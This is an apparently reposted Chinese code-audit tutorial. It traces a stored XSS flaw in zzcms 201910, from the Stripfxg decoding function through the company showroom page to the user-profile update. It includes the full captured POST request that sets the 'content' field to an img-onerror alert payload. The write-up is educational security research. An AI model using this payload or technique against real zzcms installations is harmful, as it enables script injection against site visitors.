PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了代码审计学习—zzcms存储型xss大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

代码审计学习—zzcms存储型xss

版本:zzcms 201910

本地搭建网站

漏洞位置:

网站/inc/function.PHP

Stripfxg函数中,存在使用方法 htmlspecialchars_decode($String),对htmlspecialchars ($String) 过滤(所有传入参数都进行了过滤)后的参数进行解码,导致可能存在xss漏洞。

 

function Stripfxg($String,$htmlspecialchars_decode=false,$nl2br=falsE) {//去反斜杠 
$String=Stripslashes($String); 
if ($htmlspecialchars_decode==truE){
$String=htmlspecialchars_decode($String); }
if ($nl2br==truE){
$String=nl2br($String);
}
return $String; 
}

Stripfxg函数可知,当函数调用,且第二个参数$htmlspecialchars_decode为true时,htmlspecialchars_decode() 方法调用

查找Stripfxg函数调用的地方:

在 /zt/show.PHP 找到Stripfxg函数调用,且$htmlspecialchars_decode=true

 

代码审计学习—zzcms存储型xss

代码审计学习—zzcms存储型xss

 

 

返回值在此页面打印输出;show.PHP页面一个展示页面注册后发现是‘公司展厅页面’,可能触发xss)

查找Stripfxg 函数一个参数 $contert 来源

在show.PHP 包含文件 top.PHP 找到了参数 $contert

 

代码审计学习—zzcms存储型xss

代码审计学习—zzcms存储型xss

 

 

 

通过分析代码发现 content  是用户表中的一个字段

zt/top.PHP

 

代码审计学习—zzcms存储型xss

 

查看数据库发现确实存在 content 字段

 

代码审计学习—zzcms存储型xss

然后虑如何可以通过修改 zzcms_user 表来控制修改 content字段

继续查找,发现

在admin/usermodify.PHP 找到 content 字段修改sql语句

 

代码审计学习—zzcms存储型xss

向上查找分析修改语句条件

 

代码审计学习—zzcms存储型xss

即在用户进行信息修改时可控制content 参数

验证:

注册

注测公司/个人用户;公司用户直接访问公司展厅页面触发xss(个人用户通过构造id进入展厅页面 show.PHP

 

代码审计学习—zzcms存储型xss

 

 

 

代码审计学习—zzcms存储型xss

 

代码审计学习—zzcms存储型xss

修改个人信息 控制 content参数

 

代码审计学习—zzcms存储型xss

 

代码审计学习—zzcms存储型xss

抓包,修改content参数:

 

代码审计学习—zzcms存储型xss

 

 

 

POST /user/manage.PHP?action=modify&a=siteconfig.PHP http/1.1

Host: www.zzcms.com

Content-Length: 384

Cache-Control: max-age=0

Upgrade-Insecure-requests: 1

Origin: http://www.zzcms.com

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://www.zzcms.com/user/manage.PHP

Accept-Language: zh-CN,zh;q=0.9

Cookie: bdshare_firstime=1591108514281; __51cke__=; PHPSESSID=qeumh4nf9hi81d2mn5gv4lu4aj; UserName=root;

password=63a9f0ea7bb98050796b649e85481845; __Tins__713776=%7B%22sid%22%3A%201591687530623%2C%20%22vd%22%3A%209%2C%20%22

expires%22%3A%201591689665881%7D; __51laig__=9

Connection: close

 

somane=%E7%8E%8B%E4%BC%9F&sex=0&email=111%40qq.com&qq=&oldqq=&mobile=&Submit2=%E4%BF%AE%E6%94%B9&b=0&s=0

&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA

&xiancheng=&address=&homepage=&phone=18899999999&fox=&content=%26nbsp%3B&img=%2Fimage%2Fnopic.gif&oldimg=%2Fimage%2Fnopic.gif&flv=&oldflv=

&content=<img+src=x+onerror=alert`1`>

 

代码审计学习—zzcms存储型xss

访问展厅页面

 

代码审计学习—zzcms存储型xss

数据已存储在数据库中:

 

代码审计学习—zzcms存储型xss

 

大佬总结

以上是大佬教程为你收集整理的代码审计学习—zzcms存储型xss全部内容,希望文章能够帮你解决代码审计学习—zzcms存储型xss所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: